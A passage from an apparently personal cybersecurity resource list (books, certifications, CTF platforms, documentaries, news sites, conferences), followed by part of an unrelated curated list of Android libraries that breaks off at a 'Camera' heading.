- A bug hunter’s diary
- Real-World Bug Hunting
<br>
## IoT
- Practical IoT Hacking
<br>
## Quantum
- Quantum Computing Fundamentals
- Quantum Physics and The Power of the Mind: 5 BOOKS IN 1
<br>
## Cryptography
- Cryptography Engineering: Design Principles and Practical Applications
- Real-World cryptography
- The Code Book: The Science of Secrecy from Ancient Egypt to Quantum Cryptography
<br>
## Law
- Cyberlaw: Software and Computer Networks
- Damage Control: Cyber Insurance and Compliance
- The 2020 Cyber Security & Cyber Law Guide
<br>
## Cybersecurity
- Cyber Breach Response That Actually Works
- Cyber Mercenaries: The State, Hackers, and Power
- CyberSpace
- CyberStorm
- Extreme Privacy: What It Takes to Disappear
- Find Me (series)
- Little brother
- Security Testing with Raspberry Pi
- Stealing the network
- The 8 Layers of the OSI Cake: A Forensic Taste of Each Layer (Cyber Secrets)
- The Smartest Person in the Room
- The Tribe of Hacker (Series)
- The hackers playbook (series)
- We Are Anonymous
<br>
## Malware
- Antivirus Bypass Techniques
- Learning Malware Analysis
- Practical Malware Analysis
- The Art of Memory Forensics: Detecting Malware & Threats in Windows, Linux & Mac Memory
<br>
## Finance Books
- I Will Teach You To Be Rich
- Rich Dad Poor Dad
- The Psychology of Money
- The Richest Man in Babylon
- The Simple Path to Wealth
- Your Money or Your Life
-
## Psychology Books
- Dark Pyschology & Manipulation: 10 In 1
- Designing The Mind: The Principles of Psychitecture
- 48 Laws of Power
## Miscellaneous Books
- Adversarial Tradecraft in Cybersecurity
- Black Hat Go
- Extreme Ownership by Jocko Willink / Leif Babin
- Hacker Disassembling Uncovered
- How to Measure Anything in Cybersecurity
- Security Warrior
- Shellcoders Handbook
- Traction by Gino Wickman
<br>
<hr>
# Education / Bootcamps / Programs / Certification Material
## Bootcamps & Programs
* [100Devs](https://www.youtube.com/playlist?list=PLBf-QcbaigsKwq3k2YEBQS17xUwfOA3O3)
* [DFIR Diva](https://training.dfirdiva.com/) — Compilation of Training Resources
* [Global Knowledge](https://www.globalknowledge.com/us-en/)
* [Level Up In Tech](https://www.levelupintech.com/)
* [NetworkChuck](https://www.youtube.com/c/NetworkChuck)
* [Perscholas](https://perscholas.org/courses/) — Misc IT Bootcamps
* [Whizlabs](https://www.whizlabs.com/pricing/?fbclid=IwAR3egmho_JrqqADw7QZ4CLah827tinr-M5ZB51Zc35pO49T9nXqxAo29nRY&fs=e&s=cl)
## Threat Intelligence Platforms
- Closed / Propietary: Threat research and CTI data is made available as a paid subscription to a commerical CTI platform
* [IBM-X Force Exchange](https://exchange.xforce.ibmcloud.com/)
* [Mandiant](https://www.mandiant.com/)
* [Recorded Future](https://www.recordedfuture.com/)
- Public / Private Information Sharing Centers: Information Sharing & Analysis Center (ISACs)
- OSINT
- Malware Information Sharing Project (MISP)
- Spamhaus
- VirusTotal
- **Threat Hunting Training**
* [https://www.activecountermeasures.com/cyber-threat-hunting-training-course/](https://www.activecountermeasures.com/cyber-threat-hunting-training-course/)
#### Cloud Pentesting
* [DVCA](https://github.com/m6a-UdS/dvca) — Demonstrate priv esc on AWS
* [FLAWS 2 Cloud](http://flaws2.cloud/) — AWS Security Training
* [FlAWS Cloud](http://flaws.cloud/) — AWS Security Training
* [OWASP Serverless Goat](https://github.com/OWASP/Serverless-Goat) — Demonstrates common serverless security flaws
- AWS Vulnerable
<br>
## Information Security Certifications
* [Certified Ethical Hacker](https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/)
* [Certified Information Systems Security Professional (CISSP)](https://www.isc2.org/Certifications/CISSP)
* [Certified Penetration Testing Engineer (CPTE)](https://www.mile2.com/penetration-testing-engineer-outline/)
* [CompTIA Security+](https://www.comptia.org/certifications/security)
* [GIAC Security Essentials (GSEC)](https://www.giac.org/certification/security-essentials-gsec)
* [HTB Certified Bug Bounty Hunter (HTB BBH)](https://academy.hackthebox.com/preview/certifications/htb-certified-bug-bounty-hunter/)
* [HTB Certified Penetration Testing Specialist (HTB CPTS)](https://academy.hackthebox.com/preview/certifications/htb-certified-penetration-testing-specialist/)
* [Kali Linux Certified Professional (KLCP)](https://home.pearsonvue.com/kali)
* [Offensive Security Certified Expert (OSCE)](https://www.offensive-security.com/ctp-osce/)
* [Offensive Security Certified Professional (OSCP)](https://www.offensive-security.com/pwk-oscp/)
* [Offensive Security Exploitation Expert (OSEE)](https://www.offensive-security.com/awe-osee/)
* [Offensive Security Web Expert (OSWE)](https://www.offensive-security.com/awae-oswe/)
* [Offensive Security Wireless Professional (OSWP)](https://www.offensive-security.com/wifu-oswp/)
* [Practical Network Penetration Tester (PNPT)](https://certifications.tcm-sec.com/pnpt/)
* [eLearnSecurity Junior Penetration Tester (eJPT)](https://elearnsecurity.com/product/ejpt-certification/)
## Security Training Platforms
* [Attack-Defense](https://attackdefense.com)
* [Crackmes](https://crackmes.one/)
* [Ring Zero Team](https://ringzer0ctf.com/)
* [Black Hills Information Security — Cyber Range](https://www.blackhillsinfosec.com/services/cyber-range/)
* [Alert To Win](https://alf.nu/alert1?world=alert&level=alert0)
* [CTF Komodo Security](https://ctf.komodosec.com)
* [CMD Challenge](https://cmdchallenge.com)
* [Explotation Education](https://exploit.education)
* [Google CTF](https://lnkd.in/e46drbz8)
* [HackTheBox](https://www.hackthebox.com)
* [Hackthis](https://defendtheweb.net/)
* [Hacksplaining](https://www.hacksplaining.com/lessons)
* [Hacker101](https://ctf.hacker101.com)
* [Hacker Security](https://hackersec.com/)
* [Hacking-Lab](https://hacking-lab.com/)
* [ImmersiveLabs](https://www.immersivelabs.com/)
* [OverTheWire](http://overthewire.org)
* [Practical Pentest Labs](https://lnkd.in/esq9Yuv5)
* [Pentestlab](https://pentesterlab.com)
* [Penetration Testing Practice Labs](https://lnkd.in/e6wVANYd)
* [PentestIT LAB](https://lab.pentestit.ru/)
* [PicoCTF](https://picoctf.com)
* [PWNABLE](https://lnkd.in/eMEwBJzn)
* [Root Me](https://www.root-me.org/?lang=en)
* [Root In Jail](https://rootinjail.com/)
* [SmashTheStack](http://www.smashthestack.org/wargames.html)
* [The Cryptopals Crypto Challenges](https://cryptopals.com/)
* [Try Hack Me](https://tryhackme.com/)
* [Vulnhub](https://www.vulnhub.com)
* [W3Challs](https://w3challs.com)
* [WeChall](http://www.wechall.net/)
* [Alerted Security](https://www.alteredsecurity.com/)
### Offensive Development
* [Offensive Development](https://www.antisyphontraining.com/offensive-development-w-greg-hatcher-john-stigerwalt/)
* [Exploiting Tokens (Write-Up)](https://jsecurity101.medium.com/exploring-token-members-part-1-48bce8004c6a)
### Defense
#### Azure
* [Detect Azure AD Backdoors: Identity Federation](https://www.inversecos.com/2021/11/how-to-detect-azure-active-directory.html)
### Methodologies
* [Open Source Security Testing Methodology Manual (OSSTMM)](https://www.isecom.org/OSSTMM.3.pdf)
## Documentaries
* [https://threadreaderapp.com/thread/1491830217471528962.html](https://threadreaderapp.com/thread/1491830217471528962.html)
- Best Cyber Security and Hacking Documentary #1
- We Are Legion – The Story Of The Hacktivists ([https://lnkd.in/dEihGfAg](https://lnkd.in/dEihGfAg))
- The Internet’s Own Boy: The Story Of Aaron Swartz ([https://lnkd.in/d3hQVxqp](https://lnkd.in/d3hQVxqp))
* [Hackers Wanted](https://www.youtube.com/watch?v=Mn3ooBnShtY)
* [Secret History Of Hacking](https://www.youtube.com/watch?v=PUf1d-GuK0Q)
* [Def Con: The Full Documentary](https://www.youtube.com/watch?v=3ctQOmjQyYg)
* [Web Warriors (Documentary Over Cyber Warfare)](https://www.youtube.com/watch?v=0IY7DL0ihYI)
* [Risk (2016)](https://www.imdb.com/title/tt4964772/)
* [Zero Days (2016)](https://www.imdb.com/title/tt5446858/)
* [Guardians Of The New World (Hacking Documentary) | Real Stories](https://www.youtube.com/watch?v=jUFEeuWqFPE)
* [A Origem dos Hackers](https://www.youtube.com/watch?v=LPqXNGcwlxo&t=2s)
* [The Great Hack](https://lnkd.in/dp-MsrQJ)
* [The Networks Dilemma](https://lnkd.in/dB6rC2RD)
* [21st Century Hackers](https://www.youtube.com/watch?v=nsKIADw7TEM)
* [Cyber War - Dot of Documentary](https://www.youtube.com/watch?v=UaZw9mQu7xg)
* [CyberWar Threat - Inside Worlds Deadliest Cyberattack](https://lnkd.in/drmzKJDu)
* [The Future of Cyberwarfare: The Journey of Humankind](https://www.youtube.com/watch?v=L78r7YD-kNw)
* [Dark Web Fighting Cybercrime Full Hacking](https://lnkd.in/dByEzTE9)
* [Cyber Defense: Military Training for Cyber Warfare](https://lnkd.in/dhA8c52h)
* [Hacker Hunter: WannaCry The History Marcus Hutchin](https://lnkd.in/dnPcnvSv)
* [The Life Hacker Documentary](https://lnkd.in/djAqBhbw)
* [Hacker The Realm and Electron - Hacker Group](https://lnkd.in/dx_uyTuT])
### Social Engineering Articles
* [How I Socially Engineer Myself Into High Security Facilities](https://www.vice.com/en/article/qv34zb/how-i-socially-engineer-myself-into-high-security-facilities) - Sophie Daniel
* [Social Engineering: Compromising Users with an Office Document](https://resources.infosecinstitute.com/certification/social-engineering-compromising-users-using-office-document/) - Infosec Institute
* [The 7 Best Social Engineering Attacks Ever](https://www.darkreading.com/the-7-best-social-engineering-attacks-ever/d/d-id/1319411) - DarkReading
* [The Limits of Social Engineering](https://www.technologyreview.com/2014/04/16/173156/the-limits-of-social-engineering/) - MIT, Technology Review
* [The Persuasion Reading List](https://www.scottadamssays.com/2018/01/24/persuasion-reading-list-updated-1-18/) - Scott Adams' Blog
## Resource Compilation
* [Cybersecurity Documents, Certification Help, Books, etc.](https://drive.google.com/drive/u/0/folders/1xCCknZbUGhJQd8UKAwL_m9upJgmaQVBr?fbclid=IwAR2I99iLaHwgeyzEZeigh32gtrAIS1gUSC6Xo6ASaamJi3XRwip1zAtpH9k)
* [S0cm0nkey’s Security Reference Guide](https://s0cm0nkey.gitbook.io/s0cm0nkeys-security-reference-guide/)
* [Red Teaming Experiments](https://www.ired.team/) — Cheatsheets
* [Darkstar](https://darkstar7471.com/resources.html) — Infosec Training Resources
### Offense Security
* [OSCE3](https://github.com/CyberSecurityUP/OSCE-Complete-Guide)
### Bug Hunting
* [Bug Hunter Handbook](https://gowthams.gitbook.io/bughunter-handbook/)
### Powershell Automation
* [PowerShell Intune Samples](https://github.com/microsoftgraph/powershell-intune-samples) — Make HTTPS RESTful API requests
* [Mega Collection of PowerShell Scripts](https://github.com/fleschutz/PowerShell)
### Privacy
* [Awesome Docker Security](https://github.com/myugan/awesome-docker-security) — Resources for Docker Security (Books, Blogs, Videos, Tools, etc.)
* [Build Your Own X](https://github.com/codecrafters-io/build-your-own-x) — Repository Compilation Projects for Hackers
* [Computer Science Video Courses](https://github.com/Developer-Y/cs-video-courses)
* [Cyber Security Repo](https://cyber-security.tk/categories/)
* [Hacker Arise](https://www.hackers-arise.com/post/the-cyberwar-vs-putin-what-we-are-doing-and-what-you-can-do-to-help)
* [Machine Learning](https://github.com/dair-ai/ML-Course-Notes)
* [Malware Development Repo](https://lookbook.cyberjungles.com/random-research-area/malware-analysis-and-development/malware-development)
* [Microsoft Graph](https://github.com/microsoftgraph) — Access data, relationships and insights coming from the cloud
* [Privacy Tools](https://www.privacytools.io/)
* [S1ckB0y1337](https://github.com/S1ckB0y1337?tab=repositories)
* [VX-Underground](https://github.com/vxunderground) — Collection of malware source code, amples, and PoCs
* [W3BS3C](https://www.w3bs3c.com/) — Web3 searchable curable repository of tools, CTFs, 101s, videos, and bounties
## Cybersecurity Maps, Domains, etc
(https://s3-us-west-2.amazonaws.com/secure.notion-static.com/087527b0-f437-4255-8b00-0bc69c7dcd73/Untitled.png)
* [Paul Jerimy — Cyber Certification Roadmap](https://pauljerimy.com/security-certification-roadmap/)
## Security News — Stay Updated On Relevant Attacks & Other Infosec News
* [DarkReading](https://www.darkreading.com/)
* [EFF](https://www.eff.org/deeplinks)
* [Feedspot](https://blog.feedspot.com/cyber_security_rss_feeds/) — Top 100 Cybersecurity RSS Feeds
* [GBHackers on Security](https://gbhackers.com/)
* [Isaca](https://www.isaca.org/)
* [KrebsOnSecurity](https://krebsonsecurity.com/)
* [Naked Security](https://nakedsecurity.sophos.com/)
* [PenTest Magazine](https://pentestmag.com/)
* [Scheiner](https://www.schneier.com/)
* [TDLR Magazine](https://tldr.tech/crypto)
* [Talos Intelligence](https://blog.talosintelligence.com/)
* [ThreatPost](https://threatpost.com/)
* [Tripwire](https://www.tripwire.com/state-of-security/contributors/graham-cluley/)
* [ZDNet](https://www.zdnet.com/blog/security/)
- Microsoft
### Specific Articles
* [BendyBear](https://x-phy.com/advanced-shell-code-a-use-case-of-blacktech-associated-bendybear/)
### CVEs
#### Apple
* [https://www.websecgeeks.com/2022/06/how-i-was-able-to-send-emails-on-behalf-of-any-apple-user-email.html](https://www.websecgeeks.com/2022/06/how-i-was-able-to-send-emails-on-behalf-of-any-apple-user-email.html)
## Freelancing Sites
* [Fiverr](https://www.fiverr.com/)
* [UpWork](https://www.upwork.com/)
## Support Organizations
### Black Tech Organizations
* [10 Professional Organizations for Black IT Professionals](https://www.cio.com/article/191321/10-professional-organizations-for-black-it-pros.html)
* [Organizations We Love (OWL)](https://sites.temple.edu/care/dei/owl/)
### Conferences
* (ISC)2 Secure Event Series
* 44CON London
* 44Con
* AFCEA Defensive Cyber Operations Symposium
* AppSec United States](OWASP National Conference)
* AppSecUSA
* Atlantic Security Conference](AtlSecCon)
* BSides
* BSides Event Series
* BalCCon
* Black Hat
* Black Hat United States
* BruCON
* CCC
* CISO Executive Summit Series](Invite-only)
* CSO50 Conference
* CanSecWest
* CarolinaCon
* Cyber Threat Intelligence Summit
* DEF CON
* DeepSec
* DefCamp
* DerbyCon
* DerbyCon 8.0
* Ekoparty
* FIRST Conference
* FSec
* HACKMIAMI
* HITB
* HOPE
* Hack.lu
* Hack3rCon
* Hacker Halted - Optionally includes certification-specific training
* IANS Information Security Forums
* IAPP Global Privacy Summit
* IEEE Symposium on Security & Privacy
* ISACA Cyber Security Nexus
* ISF Annual World Congress
* ISSA CISO Executive Forum Series
* ISSA International Conference
* Ignite
* Infiltrate
* InfoSec Southwest
* InfoSec World
* Infosecurity Europe
* Infosecurity Europe
* Infosecurity North America
* LayerOne
* Nullcon
* Nullcon Conference
* Open Security Summit
* PhreakNIC
* RSA Conference United States
* SANS Annual Conference
* SANS Pen Test Annual Conferences
* SANS Security Annual Conferences
* SECUINSIDE
* SOURCE Annual Conferences
* SecTor Canada
* Secure360 Conference
* SecureWorld
* Securi-Tay
* Security Operations Summit & Training
* ShmooCon
* SkyDogCon
* SummerCon
* Swiss Cyber Storm
* ThotCon
* USENIX Security Symposium
* Virus Bulletin Conference
* conINT
* secureCISO
## **Cybersecurity Apparel**
* [Alpha Cyber Security](https://www.teepublic.com/user/djax120)
## Blogging |
# Awesome Android
[<img src="https://raw.githubusercontent.com/jstumpp/awesome-android/master/awesome-android.png">](https://github.com/jstumpp/awesome-android)
<p align="center">
<a href="https://github.com/sindresorhus/awesome"><img alt="awesome" src="https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg" /></a>
<a href="https://travis-ci.org/JStumpp/awesome-android"><img alt="Build Status" src="https://api.travis-ci.org/JStumpp/awesome-android.svg?branch=master" /></a>
<img alt="PRs Welcome" src="https://img.shields.io/badge/PRs-welcome-brightgreen.svg" />
</p>
# About
A curated list of awesome Android [libraries](#libraries) and [resources](#resources). For general Java libraries have a look at [awesome-java](https://github.com/akullpp/awesome-java).
## Supported with ❤️ by [Instabug](https://instabug.com/android/sdk?utm_source=toolsofthetrade&utm_medium=spon&utm_content=header)
### Understand How Your Android App is Doing with Real-Time Contextual Insights From Your Users
[](https://instabug.com/android/sdk?utm_source=awesomeandroid&utm_medium=spon&utm_content=banner)
>Instabug helps Android developers and product teams easily collect bugs and feedback from beta testers and users to iterate faster and ship quality apps. Instabug automatically attaches screenshots, device details, network logs, repro steps, and tons of other critical insights needed to resolve issues and prioritize product backlogs.
> Mobile teams accelerate their workflows by seamlessly integrating with third-party tools like Github, Jira, Slack, Zendesk and much more. [Instabug is offering Awesome Android community an exclusive 15% discount on all paid plans. Get Started!](https://instabug.com/android/sdk/?utm_source=awesomeandroid&utm_medium=spon&utm_content=get-started)
[](https://instabug.com)
# How to Use
Awesome-Android is an amazing list for people who need a certain feature on their app, so the best ways to use are:
- Simply press command + F to search for a keyword
- Go through our Content Menu
# Content
- [Emulators](#emulators)
- [Libraries](#libraries)
- [Charts](#charts)
- [Cloud Services](#cloud-services)
- [Dependency Injection](#dependency-injection)
- [Android Services](#android-services)
- [Game Development](#game-development)
- [Security](#security)
- [GUI](#gui)
- [ActionBar](#actionbar)
- [Navigation](#navigation)
- [Animations](#animations)
- [Images](#images)
- [Inputs](#inputs)
- [Loading images](#loading-images)
- [Media Picker](#media-picker)
- [Video](#video)
- [Camera](#camera)
- [Field Validation](#field-validation)
- [JSON](#json)
- [Crash monitoring](#crash-monitoring)
- [Networking](#networking)
- [Logger](#logger)
- [Notifications](#notifications)
- [Database](#database)
- [ORM](#orm)
- [REST](#rest)
- [Testing](#testing)
- [Tracking](#tracking)
- [Maps](#maps)
- [Utility](#utility)
- [Debugging tools](#debugging-tools)
- [Wireless](#wireless)
- [Chat and Messaging](#chat--messaging)
- [Custom Dialog](#custom-dialog)
- [Version Checking](#version-checking)
- [Date & Time](#date--time)
- [Runtime Permissions](#runtime-permissions)
- [Other](#other)
- [Resources](#resources)
- [Code examples](#code-examples)
- [Podcasts](#podcasts)
- [More lists of libraries](#more-lists-of-libraries)
- [Development Alternatives](#development-alternatives)
- [C#](#c)
- [HTML, CSS and Javascript](#html-css-and-javascript)
- [Lua](#lua)
- [Scala](#scala)
- [Groovy](#groovy)
- [Kotlin](#kotlin)
- [Flutter](#flutter)
- [Performance](#performance)
- [Other Awesome Lists](#other-awesome-lists)
- [Contributing](#contributing)
## Emulators
- [AndY](https://andyroid.net)
- [ARChon](https://archon-runtime.github.io)
- [BlueStacks](https://www.bluestacks.com)
- [Genymotion](https://www.genymotion.com)
- [nox](https://www.bignox.com)
## Libraries
### Charts
- [AChartEngine](https://github.com/ddanny/achartengine) - Charting Engine.
- [EazeGraph](https://github.com/blackfizz/EazeGraph) - Chart and graph library.
- [WilliamChart](https://github.com/diogobernardino/WilliamChart) - Chart library with good motion capabilities.
- [HelloCharts](https://github.com/lecho/hellocharts-android) - Chart and graph library with support for scaling, scrolling and animations.
- [MPAndroidChart](https://github.com/PhilJay/MPAndroidChart) - An Android chart and graph library supporting scaling and dragging by gesture.
- [ArcChartView](https://github.com/imaNNeoFighT/ArcChartView) - Draw Creative Statistic Arc Charts.
- [AnyChart](https://github.com/AnyChart/AnyChart-Android) - Data visualization library, Interactive charts.
### Cloud Services
- [CloudRail](https://cloudrail.com) - Unified API Library for: Cloud Storage, Social Profiles, Payment, Email, SMS & POIs.
### Data binding
- [Anvil](https://github.com/anvil-ui/anvil) - A small library to create reactive UI components, inspired by React. Provides data binding and event listener binding, fits well for MVVM.
- [Data Binding Library](https://developer.android.com/topic/libraries/data-binding/) - Official Android Data Binding Library to write declarative layouts and minimize the glue code necessary to bind application logic and layouts.
### Dependency Injection
- [Dagger 2](https://github.com/google/dagger) - A fast dependency injector for Android and Java.
- [Butter Knife](http://jakewharton.github.io/butterknife/) - View "injection" library for Android.
- [ActivityStarter](https://github.com/MarcinMoskala/ActivityStarter) - Android Library that provide simpler way to start the Activities with multiple arguments.
- [AndroidAnnotations](https://github.com/androidannotations/androidannotations) - Java annotations with dependency injection at compile time.
- [Toothpick](https://github.com/stephanenicolas/toothpick) - A scope tree based Dependency Injection (DI) library for Java.
### Android Services
- [Remoter](https://github.com/josesamuel/remoter) - An alternative to Android AIDL for Android Remote IPC services using plain java interfaces.
- [Service Connector](https://github.com/josesamuel/serviceconnector) - Bind Android services and callbacks to fields and methods.
### Game Development
- [Libgdx](https://libgdx.badlogicgames.com/) - Cross-platform game engine and SDK. [Open Source](https://github.com/libGDX/libGDX)
- [Vuforia](https://www.vuforia.com/) - Augmented Reality library.
- [Unity](https://unity3d.com/unity/features/multiplatform) - Cross-platform game creation system.
- [Rajawali](https://github.com/Rajawali/Rajawali) - Android OpenGL ES 2.0/3.0 Engine
- [Cocos2d-x](https://cocos2d-x.org/) - Cross-platform 2d game framework.
- [JustWeEngine](https://github.com/lfkdsk/JustWeEngine) - An easy open source Android Native Game FrameWork.
### Security
- [libsignal-protocol-java](https://github.com/signalapp/libsignal-protocol-java) - A ratcheting forward secrecy protocol that works in synchronous and asynchronous messaging environments.
- [Themis](https://github.com/cossacklabs/themis) - Multi-language framework for making typical encryption schemes easy to use: data at rest, authenticated data exchange, transport protection, authentication, and so on.
### GUI
- [Pull to refresh](https://developer.android.com/reference/android/support/v4/widget/SwipeRefreshLayout) - A swipe refresh layout is available in the v4 support library.
- [Cardslib](https://github.com/gabrielemariotti/cardslib) - Android Library to build a UI Card.
- [AndroidStaggeredGrid](https://github.com/etsy/AndroidStaggeredGrid) - Grid view which supports multiple columns with rows of varying sizes.
- [Flow](https://github.com/square/flow) - Library that helps with describing an app as a collection of moderately independent screens.
- [SortableTableView](https://github.com/ISchwarz23/SortableTableView) - An Android library containing a simple TableView and an advanced SortableTableView providing a lot of customisation possibilities to fit all needs.
- [MaterialProgressBar](https://github.com/zhanghai/MaterialProgressBar) - Material design ProgressBar with consistent appearance.
- [AndroidFillableLoaders](https://github.com/JorgeCastilloPrz/AndroidFillableLoaders) - Fillable progress view working with SVG paths. Nice option too for creating interesting app logos.
- [NexusDialog](https://github.com/dkharrat/NexusDialog) - Allows you to easily and quickly create forms in Android with little code.
- [Snap RecyclerView Utils](https://github.com/prashantsolanki3/Snap-RecyclerView-Utils) - Populate Single or multiple Layout RecyclerView without creating an Adapter.
- [MultiSnapRecyclerView](https://github.com/TakuSemba/MultiSnapRecyclerView) - Android library for multiple snapping of RecyclerView
- [SwipeableCard](https://github.com/michelelacorte/SwipeableCard) - Implementation of swipe card like StreetView!!
- [ElasticProgressBar](https://github.com/michelelacorte/ElasticProgressBar) - Beautiful loading bar.
- [EntryScreenManager](https://github.com/kunall17/EntryScreenManager) - Intro/Entry/Walkthrough/Starting Screens.
- [EasyIntro](https://github.com/meNESS/EasyIntro) - The flexible, easy to use, all in one app intro library for your Android project.
- [Material-Calendar-View](https://github.com/BlackBoxVision/material-calendar-view) - Material Design Calendar compatible with API 8+
- [CrunchyCalendar](https://github.com/CleverPumpkin/CrunchyCalendar) - A material calendar widget with infinite scrolling, date range selection and color customization.
- [SmoothOverscrollableScrollView](https://github.com/vovaksenov99/OverscrollableScrollView) - Small custom view with smooth overscroll. You can add header with scale background
- [SectionedRecyclerViewAdapter](https://github.com/luizgrp/SectionedRecyclerViewAdapter) - An Adapter that allows a RecyclerView to be split into Sections with headers and/or footers.
- [DragListView](https://github.com/woxblom/DragListView) - Drag and drop to reorder items in a list, grid or board.
- [Animated Expanding ListView](https://github.com/LeonardoCardoso/Animated-Expanding-ListView) - Animated Expanding ListView provides a fancy animation on expanding or collapsing the content of a listview item.
- [TastyToast](https://github.com/yadav-rahul/TastyToast) - Toasts with icons and color.
- [DotLoader](https://github.com/bhargavms/DotLoader) - A customizable loading animation with Dots.
- [PodSlider](https://github.com/bhargavms/PodSLider) - A customizable slider widget adhering to material design specs.
- [TapTargetView](https://github.com/KeepSafe/TapTargetView) - An implementation of tap targets from the Material Design guidelines for feature discovery.
- [ShowCaseView](https://github.com/mreram/ShowCaseView) - The ShowcaseView library is designed to highlight and showcase specific parts of apps to the user with a attractive and flat overlay.
- [MaterialIntroScreen](https://github.com/TangoAgency/material-intro-screen) - Material Intro Screen implementation with easily extensible API.
- [FloatingView](https://github.com/UFreedom/FloatingView) - FloatingView can make the target view floating above the anchor view with cool animation.
- [Timecon](https://github.com/alxrm/animated-clock-icon) - Easy-to-use animated clock icon
- [Audiogram](https://github.com/alxrm/audiowave-progressbar) - Lightweight audiowave progressbar
- [Bubbles for Android](https://github.com/txusballesteros/bubbles-for-android) - Facebook like chat bubble library
- [Litho (By Facebook)](https://github.com/facebook/litho) - A declarative framework for building efficient UIs on Android.
- [MultiViewAdapter](https://github.com/DevAhamed/MultiViewAdapter) - Recyclerview Adapter library to create composable view holders.
- [LGSnackbar](https://github.com/loregr/LGSnackbar) - An easy to use and customisable wrapper of the native Android Snackbar which stays visible across multiple activities.
- [ShimmerLayout](https://github.com/team-supercharge/ShimmerLayout) - Memory efficient shimmering effect for Android applications.
- [CircleProgressBar](https://github.com/emre1512/CircleProgressBar) - A simple library for creating circular progressbars for Android.
- [Easy-Signature-Android](https://github.com/smalam119/Easy-Signature-Android) - An simple ui library that provides a plugable signature view.
- [Flashbar](https://github.com/aritraroy/Flashbar) - A highly customizable, powerful and easy-to-use alerting library for Android.
- [YuanaItemSettingView](https://github.com/andhikayuana/YuanaItemSettingView) - Customizable Item Setting View for Android.
- [Gradients](https://github.com/bakhtiyork/gradients) - A curated collection of splendid gradients.
- [OneAdapter](https://github.com/ironSource/OneAdapter) - RecyclerView Adapter with multiple modules and hooks to simplify and enhance the use while preventing common mistakes.
#### Paginate
- [NoPaginate](https://github.com/NoNews/NoPaginate) - Simple Android pagination library
#### ActionBar
- [ActionBarSherlock](http://actionbarsherlock.com) - ActionBar for older Android versions.
- [FadingActionBar](https://github.com/ManuelPeinado/FadingActionBar) - Fading action bar effect that can be seen in the new Play Music app.
#### Navigation
- [SlidingMenu](https://github.com/jfeinstein10/SlidingMenu) - Library to create applications with slide-in menus.
- [SlidingTutorial](https://github.com/Cleveroad/slidingtutorial-android) - Simple library that helps to create awesome sliding android app tutorials.
- [PagerSlidingTabStrip](https://github.com/astuetz/PagerSlidingTabStrip) - An interactive indicator to navigate between the different pages of a ViewPager.
- [Page View indicator](https://github.com/JakeWharton/ViewPagerIndicator) - Support for horizontally scrolling ViewPager.
- [RecyclerTabLayout](https://github.com/nshmura/RecyclerTabLayout) - An efficient TabLayout library implemented with RecyclerView.
- [MaterialDrawer](https://github.com/mikepenz/MaterialDrawer) - Simple take on a material design navigation drawer.
- [Debug-Artist](https://github.com/BaristaVentures/android-debug-artist) - Debug menu to enable leakcanary, scalpel and others easy.
- [Floating-Navigation-View](https://github.com/andremion/Floating-Navigation-View) - A simple Floating Action Button that shows an anchored Navigation View.
#### Animations
- [Rebound](https://github.com/facebook/rebound) - Rebound is a Java library that models spring dynamics.
- [Android View Animations](https://github.com/daimajia/AndroidViewAnimations) - Cute view animation collection.
- [Android-Transition](https://github.com/kaichunlin/android-transition) - Allows the easy creation of view transitions that react to user inputs.
- [Android-View-Actions](https://github.com/dtx12/AndroidAnimationsActions) - Makes creating complex animations for views easy.
- [Swipper](https://github.com/mdg-iitr/Swipper) - Android library for swipeable gestures to control volume , brightness and seek .
- [Spotlight](https://github.com/TakuSemba/Spotlight) - Android Library that lights items for tutorials or walk-throughs etc...
#### Images
- [Crescento](https://github.com/developer-shivam/crescento) - Explore new style in material design by adding curve below image view.
- [android-crop](https://github.com/jdamcd/android-crop) - Library project for cropping images.
- [CircularImageView](https://github.com/Pkmmte/CircularImageView) - Custom view for circular images while maintaining the best draw performance.
- [Android-Image-Filter](https://github.com/ragnraok/android-image-filter) - Library project for applying image filters easily.
- [Compressor](https://github.com/zetbaitsu/Compressor) - Compressor is a lightweight and powerful android image compression library.
- [ShapeImageView](https://github.com/siyamed/android-shape-imageview) - Library to display images in different shapes.
#### Inputs
- [FloatingLabel](https://github.com/hardik-trivedi/FloatingLabel) - FloatingLabel Allows you to create a blow kind of EditText. *Doesn't have Gradle or Maven Support.*
- [MaterialEditText](https://github.com/rengwuxian/MaterialEditText) - Supporting Floating Labels, Single Line Ellipsis, Max/Min Characters, Helper Text and Error Text with Custom Colors.
- [EmojiCompat](https://github.com/googlearchive/android-EmojiCompat) - Adds emoticons to your app
- [MaterialSearchBar](https://github.com/mancj/MaterialSearchBar) - Material Design Search Bar for Android
- [InputMask](https://github.com/RedMadRobot/input-mask-android) - Pattern-based user input formatter, parser and validator.
- [SweetPassword](https://github.com/jesusmartinoza/Sweet-Password) - Password EditText that allows to custom toggle button
- [VoiceOverlay](https://github.com/algolia/voice-overlay-android) - An overlay that gets your user’s voice permission and input as text in a customizable UI.
#### View Pagers
- [Material Dots Indicators](https://github.com/tommybuonomo/dotsindicator) - Three Material Dots Indicators styles for View Pagers.
#### Loading Images
- [Picasso](https://github.com/square/picasso) - A powerful image downloading and caching library for Android.
- [Universal Image Loader](https://github.com/nostra13/Android-Universal-Image-Loader) - Asynchronous, out of the box loading and caching of images.
- [Glide](https://github.com/bumptech/glide) - An image loading and caching library for Android focused on smooth scrolling, Recommended by Google.
- [Fresco](https://github.com/facebook/fresco) - An Android library for managing images and the memory they use.
- [Glide Bitmap Pool](https://github.com/amitshekhariitbhu/GlideBitmapPool) - Glide Bitmap Pool is a memory management library for reusing the bitmap memory.
- [Coil](https://github.com/coil-kt/coil) - Image loading for Android backed by Kotlin Coroutines.
#### Media Picker
- [MediaPicker](https://github.com/alhazmy13/MediaPicker) - Android Library that lets you to select multiple images, video or voice for Android
- [Android Image Picker](https://github.com/esafirm/android-image-picker) - A library that makes images and videos selection from gallery feels easy. It also support GIF and simple camera action
#### Video
- [ijkplayer](https://github.com/Bilibili/ijkplayer) - Android/iOS video player based on FFmpeg n3.2, with MediaCodec, VideoToolbox support.
- [Exoplayer](https://github.com/google/ExoPlayer) - ExoPlayer is an application level media player for Android, allow playing audio and video both locally and over the Internet.
Supports features like Dynamic adaptive streaming over HTTP (DASH), SmoothStreaming and Common Encryption
- [VideoPlayView](https://github.com/MarcinMoskala/VideoPlayView) - Custom Android view with video player, play/stop, loader and placeholder image.
#### Camera
